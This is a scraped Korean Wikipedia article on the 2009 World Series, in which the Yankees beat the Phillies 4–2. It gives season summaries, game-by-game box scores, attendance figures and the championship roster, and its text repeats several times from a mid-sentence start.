함께 103승 59패라는 호성적을 기록하며 지구 라이벌 보스턴 레드 삭스를 누르고 지구 우승을 차지했다. 마무리 투수 마리아노 리베라는 메츠전에서 통산 500 세이브 달성에 성공했고, 2009년 9월 11일 데릭 지터는 2,722호 안타를 기록하며 양키스 레전드 루 게릭의 양키스 소속 통산 최다 안타 기록을 경신했다. 뉴욕 양키스는 아메리칸 리그 디비전 시리즈에서 미네소타 트윈스와 경기를 치렀으며 3승 0패로 아메리칸 리그 챔피언십 시리즈에 진출, LA 에인절스와 경기를 치러 4승 2패로 월드 시리즈에 진출했다. 사바시아는 아메리칸 리그 챔피언십 시리즈 MVP에 올랐으며, 양키스는 플로리다와의 2003년 월드 시리즈 이후 처음으로 40번째 월드시리즈 무대를 밟았다. 경기 결과[편집] 1차전[편집] 필라델피아 선발 클리프 리가 2009년 정규시즌 투구하는 모습. 2009년 10월 28일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 1 0 2 2 6 9 1 {{{원정팀볼넷}}} 뉴욕 0 0 0 0 0 0 0 0 1 1 6 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : CC 사바시아  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(3회 1점, 6회 1점) 2차전[편집] 2009년 10월 29일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 1 0 0 0 0 0 0 0 1 6 0 {{{원정팀볼넷}}} 뉴욕 0 0 0 1 0 1 1 0 X 3 8 0 {{{홈팀볼넷}}} 승리 투수 : A.J. 버넷  패전 투수 : 페드로 마르티네스  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  NYY – 마크 테세이라(4회 1점), 마쓰이 히데키(6회 1점) 3차전[편집] 2009년 10월 31일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 0 0 0 2 3 1 1 1 0 8 8 1 {{{원정팀볼넷}}} 필라델피아 0 3 0 0 0 1 0 0 1 5 6 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 콜 해멀스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  NYY – 알렉스 로드리게스(4회 2점), 닉 스위셔(6회 1점), 마쓰이 히데키(8회 1점)  PHI – 제이슨 워스(2회 1점, 6회 1점), 카를로스 루이스(9회 1점) 4차전[편집] 2009년 11월 1일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 2 0 0 2 0 0 0 0 3 7 9 1 {{{원정팀볼넷}}} 필라델피아 1 0 0 1 0 0 1 1 0 4 8 1 {{{홈팀볼넷}}} 승리 투수 : 조바 챔벌레인  패전 투수 : 브래드 릿지  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(7회 1점), 페드로 펠리즈(8회 1점) 5차전[편집] 2009년 11월 2일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 1 0 0 0 1 0 0 3 1 6 10 0 {{{원정팀볼넷}}} 필라델피아 3 0 3 0 0 0 2 0 X 8 9 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : A.J. 버넷  세이브 : 라이언 맷슨  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(2회 1점, 7회 1점), 라울 이바네즈(7회 1점) 6차전[편집] 2009년 11월 4일, 뉴욕 브롱크스, 양키 스타디움 월드 시리즈 MVP를 차지한 양키스의 마쓰이 히데키. 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 2 0 0 0 3 6 0 {{{원정팀볼넷}}} 뉴욕 0 2 2 0 3 0 0 0 X 7 8 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 페드로 마르티네스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 라이언 하워드(6회 2점)  NYY – 마쓰이 히데키(2회 2점) 시리즈 요약[편집] 뉴욕 양키스가 4승 2패로 우승을 차지했고, MVP는 뉴욕 양키스의 지명 타자 마쓰이 히데키가 수상했다. 경기 경기 점수 (원정팀이 앞, 홈팀이 뒤) 날짜 구장 관중 수 1 필라델피아 필리스 – 6, 뉴욕 양키스 – 1 10월 28일 양키 스타디움 50,207명[1] 2 필라델피아 필리스 – 1, 뉴욕 양키스 – 3 10월 29일 양키 스타디움 50,181명[2] 3 뉴욕 양키스 – 8, 필라델피아 필리스 – 5 10월 31일 시티즌스 뱅크 파크 46,061명[3] 4 뉴욕 양키스 – 7, 필라델피아 필리스 – 4 11월 1일 시티즌스 뱅크 파크 46,145명[4] 5 뉴욕 양키스 – 6, 필라델피아 필리스 – 8 11월 2일 시티즌스 뱅크 파크 46,178명[5] 6 필라델피아 필리스 – 3, 뉴욕 양키스 – 7 11월 4일 양키 스타디움 50,315명[6] 이닝 별 득점 현황[편집] 팀 1 2 3 4 5 6 7 8 9 R H E 뉴욕 양키스 3 2 2 5 7 2 2 4 5 32 49 2 필라델피아 필리스 4 4 5 1 0 4 3 3 3 27 44 2 총 관중 수: 289,087명   평균 관중 수: 48,181명 각주[편집] ↑ “Re-Phils for Cliff, Chase” (영어). MLB.com. 2009년 10월 28일. 2011년 7월 13일에 확인함.  ↑ “Father time: Yanks top Pedro” (영어). MLB.com. 2009년 10월 29일. 2011년 7월 13일에 확인함.  ↑ “Lights, camera, action for Yanks” (영어). MLB.com. 2009년 10월 31일. 2011년 7월 13일에 확인함.  ↑ “What is a 3-1 Series lead, Alex?” (영어). MLB.com. 2009년 11월 1일. 2011년 7월 13일에 확인함.  ↑ “Phils cut to the Chase” (영어). MLB.com. 2009년 11월 2일. 2011년 7월 13일에 확인함.  ↑ “Champs in the BronXXVII” (영어). MLB.com. 2009년 11월 4일. 2011년 7월 13일에 확인함.  외부 링크[편집] vdeh월드 시리즈1900년대 1900 · 1901 · 1902 · 1903 1904 1905 1906 1907 1908 1909 1910년대 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920년대 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930년대 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940년대 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950년대 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960년대 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970년대 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980년대 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990년대 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000년대 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010년대 2010 2011 2012 2013 2014 2015 2016 2017 2018 월드 시리즈 역대 우승 팀 목록 월드 시리즈 MVP 커미셔너스 트로피 ALCS NLCS ALDS NLDS vdeh뉴욕 양키스 - 2009년 월드 시리즈 우승 선수 2 데릭 지터 11 브렛 가드너 13 알렉스 로드리게스 14 에릭 힌스키 17 제리 헤어스턴 주니어 18 조니 데이먼 19 라미로 페냐 20 호르헤 포사다 24 로빈슨 카노 25 마크 테세이라 26 호세 몰리나 29 프란시스코 세르벨리 30 데이비드 로버트슨 33 닉 스위셔 34 A.J 버넷 41 채드 고딘 42 마리아노 리베라 43 다마소 마르테 46 앤디 페티트 47 프레디 구즈먼 48 필 코크 52 CC 사바시아 53 멜키 카브레라 55 마쓰이 히데키 (월드시리즈 MVP) 62 조바 체임벌린 65 필 휴즈 91 알프레도 아세베스 99 브라이언 브루니 감독 27 조 지라디 벤치코치 56 토니 페냐 1루코치 50 믹 켈레허 3루코치 59 롭 톰슨 타격코치 54 케빈 롱 투수코치 58 데이브 아일랜드 볼펜코치 57 마이크 하키 원본 주소 "https://ko.wikipedia.org/w/index.php?title=2009년_월드_시리즈&oldid=22398752" 분류: 월드 시리즈2009년 야구2009년 10월2009년 11월숨은 분류: CS1 - 영어 인용 (en) 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisItaliano日本語LatviešuPortuguêsSimple English中文 링크 편집 이 문서는 2018년 9월 15일 (토) 11:39에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
2009년 월드 시리즈 - 위키백과, 우리 모두의 백과사전 2009년 월드 시리즈 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 2009년 월드 시리즈 팀 리그 승 뉴욕 양키스 아메리칸 리그 4 필라델피아 필리스 내셔널 리그 2 경기 정보 경기 일정 2009년 10월 28일 ~ 11월 4일 MVP 마쓰이 히데키 소속 팀 정보 뉴욕 양키스(아메리칸 리그) 감독 조 지라디 시즌 성적 103승 59패 (동부 지구 1위) 필라델피아 필리스(내셔널 리그) 감독 찰리 매뉴얼 시즌 성적 93승 69패 (동부 지구 1위) 월드 시리즈  < 2008 2010 >  2009년 월드 시리즈(2009 World Series)는 제105회 메이저 리그 베이스볼 월드 시리즈다. 시리즈는 10월 28일부터 11월 4일 까지 치러졌다. 내셔널 리그 우승팀인 필라델피아 필리스와 아메리칸 리그 우승팀인 뉴욕 양키스가 맞붙어 6차전에서 뉴욕 양키스가 필라델피아 필리스를 꺾고 4승 2패로 월드시리즈 우승을 차지했다. MVP는 동양인 최초로 마쓰이 히데키가 수상했다. 이로써 뉴욕 양키스는 2000년 이후 9년 만에 27번째 우승을 차지하게 되었다. 목차 1 포스트 시즌 결과 1.1 필라델피아 필리스 1.2 뉴욕 양키스 2 경기 결과 2.1 1차전 2.2 2차전 2.3 3차전 2.4 4차전 2.5 5차전 2.6 6차전 3 시리즈 요약 3.1 이닝 별 득점 현황 4 각주 5 외부 링크 포스트 시즌 결과[편집] 필라델피아 필리스[편집] 오프 시즌 동안 3년간의 임기를 마치고 물러난 팻 길릭의 뒤를 이어 루벤 아마로 주니어가 단장으로 취임했다. FA로 팀을 떠난 팻 버렐의 공백을 메우기 위해 라울 이바네즈를 FA로 영입했으며, 구원 투수 J.C. 로메로가 메이저 리그 약물 정책을 위반하여 50경기 출장 정지 조치를 받은 자리를 채우기 위하여 FA 투수였던 박찬호를 영입했다. 그러나 박찬호는 스프링캠프에 5선발 후보로써 합류하였다. 정규 시즌동안 필라델피아 필리스는 5월 30일 동부 지구 1위에 오른 이후 선두자리를 유지했다. 또한 트레이드 데드 라인 시점에서 클리블랜드 인디언스에 유망주 4명을 내주는 조건으로 투수 클리프 리와 외야수 벤 프란시스코를 데려왔다. 클리프 리는 필라델피아에서 가진 12번의 선발 기회에서 7승을 따내는 활약을 펼쳤으며 라울 이바네즈는 시즌 초반 3할이 넘는 타율과 17홈런 46타점을 기록하며 맹활약했으나 6월 중순 부상을 당했고, 부상 이후로는 어떠한 달에서 월 타율 2할 6푼을 넘기지 못했다. 비록 MVP 후보로 손꼽히던 라울 이바네즈가 실망스러운 시즌을 보냈으나 팀 동료였던 라이언 하워드와 체이스 어틀리는 시즌 내내 맹활약을 선보이며 각각 MVP 투표 3위와 8위에 올랐다. 결국 필리스는 93승 69패 (승률 0.574)로 2위 플로리다 말린스를 6경기차로 제치며 리그 우승에 성공했다. 포스트 시즌에서 필리스는 내셔널 리그 디비전 시리즈에서 콜로라도 로키스와 경기를 치렀으며 3승 1패로 내셔널 리그 챔피언십 시리즈에 진출, LA 다저스와 경기를 치러 4승 1패로 월드 시리즈에 진출했다. 1995년-1996년 애틀랜타 브레이브스 이후 최초의 내셔널 리그 2연패이자 2000년-2001년 뉴욕 양키스 이후 처음으로 월드시리즈 2년 연속 진출에 성공했다. 라이언 하워드는 내셔널리그 챔피언십 시리즈에서 훌륭한 공격력을 보여주며 시리즈 MVP에 올랐다. 뉴욕 양키스[편집] 양키스의 오프 시즌은 2008년 11월, 오랫동안 팀을 이끌었던 '빅 보스' 조지 스타인브레너가 구단주 자리를 아들 할 스타인브레너에게 양도했다. 이후 팀은 전반적인 개혁 작업에 착수했는데 이미 2008년 11월 20일, 은퇴를 선언한 마이크 무시나의 뒤를 이어 바비 어브레이유, 제이슨 지암비와 칼 파바노를 떠나보냈다. 빈 자리를 메우기 위해 투수 CC 사바시아와 A.J. 버넷을 FA 영입한데 이어 1루수 마크 테세이라를 영입하고 시카고 화이트 삭스로부터 닉 스위셔를 트레이드 영입했다. 양키스는 2009년, 85년간 사용했던 "올드" 양키 스타디움을 떠나 새로운 양키 스타디움에서 첫 시즌을 맞았다. 그들은 19승을 거둔 사바시아와 30홈런-100타점의 알렉스 로드리게스, 39홈런-122타점의 텍세이라의 활약과 함께 103승 59패라는 호성적을 기록하며 지구 라이벌 보스턴 레드 삭스를 누르고 지구 우승을 차지했다. 마무리 투수 마리아노 리베라는 메츠전에서 통산 500 세이브 달성에 성공했고, 2009년 9월 11일 데릭 지터는 2,722호 안타를 기록하며 양키스 레전드 루 게릭의 양키스 소속 통산 최다 안타 기록을 경신했다. 뉴욕 양키스는 아메리칸 리그 디비전 시리즈에서 미네소타 트윈스와 경기를 치렀으며 3승 0패로 아메리칸 리그 챔피언십 시리즈에 진출, LA 에인절스와 경기를 치러 4승 2패로 월드 시리즈에 진출했다. 사바시아는 아메리칸 리그 챔피언십 시리즈 MVP에 올랐으며, 양키스는 플로리다와의 2003년 월드 시리즈 이후 처음으로 40번째 월드시리즈 무대를 밟았다. 경기 결과[편집] 1차전[편집] 필라델피아 선발 클리프 리가 2009년 정규시즌 투구하는 모습. 2009년 10월 28일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 1 0 2 2 6 9 1 {{{원정팀볼넷}}} 뉴욕 0 0 0 0 0 0 0 0 1 1 6 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : CC 사바시아  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(3회 1점, 6회 1점) 2차전[편집] 2009년 10월 29일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 1 0 0 0 0 0 0 0 1 6 0 {{{원정팀볼넷}}} 뉴욕 0 0 0 1 0 1 1 0 X 3 8 0 {{{홈팀볼넷}}} 승리 투수 : A.J. 버넷  패전 투수 : 페드로 마르티네스  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  NYY – 마크 테세이라(4회 1점), 마쓰이 히데키(6회 1점) 3차전[편집] 2009년 10월 31일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 0 0 0 2 3 1 1 1 0 8 8 1 {{{원정팀볼넷}}} 필라델피아 0 3 0 0 0 1 0 0 1 5 6 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 콜 해멀스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  NYY – 알렉스 로드리게스(4회 2점), 닉 스위셔(6회 1점), 마쓰이 히데키(8회 1점)  PHI – 제이슨 워스(2회 1점, 6회 1점), 카를로스 루이스(9회 1점) 4차전[편집] 2009년 11월 1일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 2 0 0 2 0 0 0 0 3 7 9 1 {{{원정팀볼넷}}} 필라델피아 1 0 0 1 0 0 1 1 0 4 8 1 {{{홈팀볼넷}}} 승리 투수 : 조바 챔벌레인  패전 투수 : 브래드 릿지  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(7회 1점), 페드로 펠리즈(8회 1점) 5차전[편집] 2009년 11월 2일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 1 0 0 0 1 0 0 3 1 6 10 0 {{{원정팀볼넷}}} 필라델피아 3 0 3 0 0 0 2 0 X 8 9 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : A.J. 버넷  세이브 : 라이언 맷슨  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(2회 1점, 7회 1점), 라울 이바네즈(7회 1점) 6차전[편집] 2009년 11월 4일, 뉴욕 브롱크스, 양키 스타디움 월드 시리즈 MVP를 차지한 양키스의 마쓰이 히데키. 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 2 0 0 0 3 6 0 {{{원정팀볼넷}}} 뉴욕 0 2 2 0 3 0 0 0 X 7 8 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 페드로 마르티네스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 라이언 하워드(6회 2점)  NYY – 마쓰이 히데키(2회 2점) 시리즈 요약[편집] 뉴욕 양키스가 4승 2패로 우승을 차지했고, MVP는 뉴욕 양키스의 지명 타자 마쓰이 히데키가 수상했다. 경기 경기 점수 (원정팀이 앞, 홈팀이 뒤) 날짜 구장 관중 수 1 필라델피아 필리스 – 6, 뉴욕 양키스 – 1 10월 28일 양키 스타디움 50,207명[1] 2 필라델피아 필리스 – 1, 뉴욕 양키스 – 3 10월 29일 양키 스타디움 50,181명[2] 3 뉴욕 양키스 – 8, 필라델피아 필리스 – 5 10월 31일 시티즌스 뱅크 파크 46,061명[3] 4 뉴욕 양키스 – 7, 필라델피아 필리스 – 4 11월 1일 시티즌스 뱅크 파크 46,145명[4] 5 뉴욕 양키스 – 6, 필라델피아 필리스 – 8 11월 2일 시티즌스 뱅크 파크 46,178명[5] 6 필라델피아 필리스 – 3, 뉴욕 양키스 – 7 11월 4일 양키 스타디움 50,315명[6] 이닝 별 득점 현황[편집] 팀 1 2 3 4 5 6 7 8 9 R H E 뉴욕 양키스 3 2 2 5 7 2 2 4 5 32 49 2 필라델피아 필리스 4 4 5 1 0 4 3 3 3 27 44 2 총 관중 수: 289,087명   평균 관중 수: 48,181명 각주[편집] ↑ “Re-Phils for Cliff, Chase” (영어). MLB.com. 2009년 10월 28일. 2011년 7월 13일에 확인함.  ↑ “Father time: Yanks top Pedro” (영어). MLB.com. 2009년 10월 29일. 2011년 7월 13일에 확인함.  ↑ “Lights, camera, action for Yanks” (영어). MLB.com. 2009년 10월 31일. 2011년 7월 13일에 확인함.  ↑ “What is a 3-1 Series lead, Alex?” (영어). MLB.com. 2009년 11월 1일. 2011년 7월 13일에 확인함.  ↑ “Phils cut to the Chase” (영어). MLB.com. 2009년 11월 2일. 2011년 7월 13일에 확인함.  ↑ “Champs in the BronXXVII” (영어). MLB.com. 2009년 11월 4일. 2011년 7월 13일에 확인함.  외부 링크[편집] vdeh월드 시리즈1900년대 1900 · 1901 · 1902 · 1903 1904 1905 1906 1907 1908 1909 1910년대 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920년대 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930년대 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940년대 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950년대 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960년대 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970년대 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980년대 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990년대 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000년대 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010년대 2010 2011 2012 2013 2014 2015 2016 2017 2018 월드 시리즈 역대 우승 팀 목록 월드 시리즈 MVP 커미셔너스 트로피 ALCS NLCS ALDS NLDS vdeh뉴욕 양키스 - 2009년 월드 시리즈 우승 선수 2 데릭 지터 11 브렛 가드너 13 알렉스 로드리게스 14 에릭 힌스키 17 제리 헤어스턴 주니어 18 조니 데이먼 19 라미로 페냐 20 호르헤 포사다 24 로빈슨 카노 25 마크 테세이라 26 호세 몰리나 29 프란시스코 세르벨리 30 데이비드 로버트슨 33 닉 스위셔 34 A.J 버넷 41 채드 고딘 42 마리아노 리베라 43 다마소 마르테 46 앤디 페티트 47 프레디 구즈먼 48 필 코크 52 CC 사바시아 53 멜키 카브레라 55 마쓰이 히데키 (월드시리즈 MVP) 62 조바 체임벌린 65 필 휴즈 91 알프레도 아세베스 99 브라이언 브루니 감독 27 조 지라디 벤치코치 56 토니 페냐 1루코치 50 믹 켈레허 3루코치 59 롭 톰슨 타격코치 54 케빈 롱 투수코치 58 데이브 아일랜드 볼펜코치 57 마이크 하키 원본 주소 "https://ko.wikipedia.org/w/index.php?title=2009년_월드_시리즈&oldid=22398752" 분류: 월드 시리즈2009년 야구2009년 10월2009년 11월숨은 분류: CS1 - 영어 인용 (en) 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisItaliano日本語LatviešuPortuguêsSimple English中文 링크 편집 이 문서는 2018년 9월 15일 (토) 11:39에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
2009년 월드 시리즈 - 위키백과, 우리 모두의 백과사전 2009년 월드 시리즈 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 2009년 월드 시리즈 팀 리그 승 뉴욕 양키스 아메리칸 리그 4 필라델피아 필리스 내셔널 리그 2 경기 정보 경기 일정 2009년 10월 28일 ~ 11월 4일 MVP 마쓰이 히데키 소속 팀 정보 뉴욕 양키스(아메리칸 리그) 감독 조 지라디 시즌 성적 103승 59패 (동부 지구 1위) 필라델피아 필리스(내셔널 리그) 감독 찰리 매뉴얼 시즌 성적 93승 69패 (동부 지구 1위) 월드 시리즈  < 2008 2010 >  2009년 월드 시리즈(2009 World Series)는 제105회 메이저 리그 베이스볼 월드 시리즈다. 시리즈는 10월 28일부터 11월 4일 까지 치러졌다. 내셔널 리그 우승팀인 필라델피아 필리스와 아메리칸 리그 우승팀인 뉴욕 양키스가 맞붙어 6차전에서 뉴욕 양키스가 필라델피아 필리스를 꺾고 4승 2패로 월드시리즈 우승을 차지했다. MVP는 동양인 최초로 마쓰이 히데키가 수상했다. 이로써 뉴욕 양키스는 2000년 이후 9년 만에 27번째 우승을 차지하게 되었다. 목차 1 포스트 시즌 결과 1.1 필라델피아 필리스 1.2 뉴욕 양키스 2 경기 결과 2.1 1차전 2.2 2차전 2.3 3차전 2.4 4차전 2.5 5차전 2.6 6차전 3 시리즈 요약 3.1 이닝 별 득점 현황 4 각주 5 외부 링크 포스트 시즌 결과[편집] 필라델피아 필리스[편집] 오프 시즌 동안 3년간의 임기를 마치고 물러난 팻 길릭의 뒤를 이어 루벤 아마로 주니어가 단장으로 취임했다. FA로 팀을 떠난 팻 버렐의 공백을 메우기 위해 라울 이바네즈를 FA로 영입했으며, 구원 투수 J.C. 로메로가 메이저 리그 약물 정책을 위반하여 50경기 출장 정지 조치를 받은 자리를 채우기 위하여 FA 투수였던 박찬호를 영입했다. 그러나 박찬호는 스프링캠프에 5선발 후보로써 합류하였다. 정규 시즌동안 필라델피아 필리스는 5월 30일 동부 지구 1위에 오른 이후 선두자리를 유지했다. 또한 트레이드 데드 라인 시점에서 클리블랜드 인디언스에 유망주 4명을 내주는 조건으로 투수 클리프 리와 외야수 벤 프란시스코를 데려왔다. 클리프 리는 필라델피아에서 가진 12번의 선발 기회에서 7승을 따내는 활약을 펼쳤으며 라울 이바네즈는 시즌 초반 3할이 넘는 타율과 17홈런 46타점을 기록하며 맹활약했으나 6월 중순 부상을 당했고, 부상 이후로는 어떠한 달에서 월 타율 2할 6푼을 넘기지 못했다. 비록 MVP 후보로 손꼽히던 라울 이바네즈가 실망스러운 시즌을 보냈으나 팀 동료였던 라이언 하워드와 체이스 어틀리는 시즌 내내 맹활약을 선보이며 각각 MVP 투표 3위와 8위에 올랐다. 결국 필리스는 93승 69패 (승률 0.574)로 2위 플로리다 말린스를 6경기차로 제치며 리그 우승에 성공했다. 포스트 시즌에서 필리스는 내셔널 리그 디비전 시리즈에서 콜로라도 로키스와 경기를 치렀으며 3승 1패로 내셔널 리그 챔피언십 시리즈에 진출, LA 다저스와 경기를 치러 4승 1패로 월드 시리즈에 진출했다. 1995년-1996년 애틀랜타 브레이브스 이후 최초의 내셔널 리그 2연패이자 2000년-2001년 뉴욕 양키스 이후 처음으로 월드시리즈 2년 연속 진출에 성공했다. 라이언 하워드는 내셔널리그 챔피언십 시리즈에서 훌륭한 공격력을 보여주며 시리즈 MVP에 올랐다. 뉴욕 양키스[편집] 양키스의 오프 시즌은 2008년 11월, 오랫동안 팀을 이끌었던 '빅 보스' 조지 스타인브레너가 구단주 자리를 아들 할 스타인브레너에게 양도했다. 이후 팀은 전반적인 개혁 작업에 착수했는데 이미 2008년 11월 20일, 은퇴를 선언한 마이크 무시나의 뒤를 이어 바비 어브레이유, 제이슨 지암비와 칼 파바노를 떠나보냈다. 빈 자리를 메우기 위해 투수 CC 사바시아와 A.J. 버넷을 FA 영입한데 이어 1루수 마크 테세이라를 영입하고 시카고 화이트 삭스로부터 닉 스위셔를 트레이드 영입했다. 양키스는 2009년, 85년간 사용했던 "올드" 양키 스타디움을 떠나 새로운 양키 스타디움에서 첫 시즌을 맞았다. 그들은 19승을 거둔 사바시아와 30홈런-100타점의 알렉스 로드리게스, 39홈런-122타점의 텍세이라의 활약과 함께 103승 59패라는 호성적을 기록하며 지구 라이벌 보스턴 레드 삭스를 누르고 지구 우승을 차지했다. 마무리 투수 마리아노 리베라는 메츠전에서 통산 500 세이브 달성에 성공했고, 2009년 9월 11일 데릭 지터는 2,722호 안타를 기록하며 양키스 레전드 루 게릭의 양키스 소속 통산 최다 안타 기록을 경신했다. 뉴욕 양키스는 아메리칸 리그 디비전 시리즈에서 미네소타 트윈스와 경기를 치렀으며 3승 0패로 아메리칸 리그 챔피언십 시리즈에 진출, LA 에인절스와 경기를 치러 4승 2패로 월드 시리즈에 진출했다. 사바시아는 아메리칸 리그 챔피언십 시리즈 MVP에 올랐으며, 양키스는 플로리다와의 2003년 월드 시리즈 이후 처음으로 40번째 월드시리즈 무대를 밟았다. 경기 결과[편집] 1차전[편집] 필라델피아 선발 클리프 리가 2009년 정규시즌 투구하는 모습. 2009년 10월 28일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 1 0 2 2 6 9 1 {{{원정팀볼넷}}} 뉴욕 0 0 0 0 0 0 0 0 1 1 6 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : CC 사바시아  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(3회 1점, 6회 1점) 2차전[편집] 2009년 10월 29일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 1 0 0 0 0 0 0 0 1 6 0 {{{원정팀볼넷}}} 뉴욕 0 0 0 1 0 1 1 0 X 3 8 0 {{{홈팀볼넷}}} 승리 투수 : A.J. 버넷  패전 투수 : 페드로 마르티네스  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  NYY – 마크 테세이라(4회 1점), 마쓰이 히데키(6회 1점) 3차전[편집] 2009년 10월 31일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 0 0 0 2 3 1 1 1 0 8 8 1 {{{원정팀볼넷}}} 필라델피아 0 3 0 0 0 1 0 0 1 5 6 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 콜 해멀스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  NYY – 알렉스 로드리게스(4회 2점), 닉 스위셔(6회 1점), 마쓰이 히데키(8회 1점)  PHI – 제이슨 워스(2회 1점, 6회 1점), 카를로스 루이스(9회 1점) 4차전[편집] 2009년 11월 1일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 2 0 0 2 0 0 0 0 3 7 9 1 {{{원정팀볼넷}}} 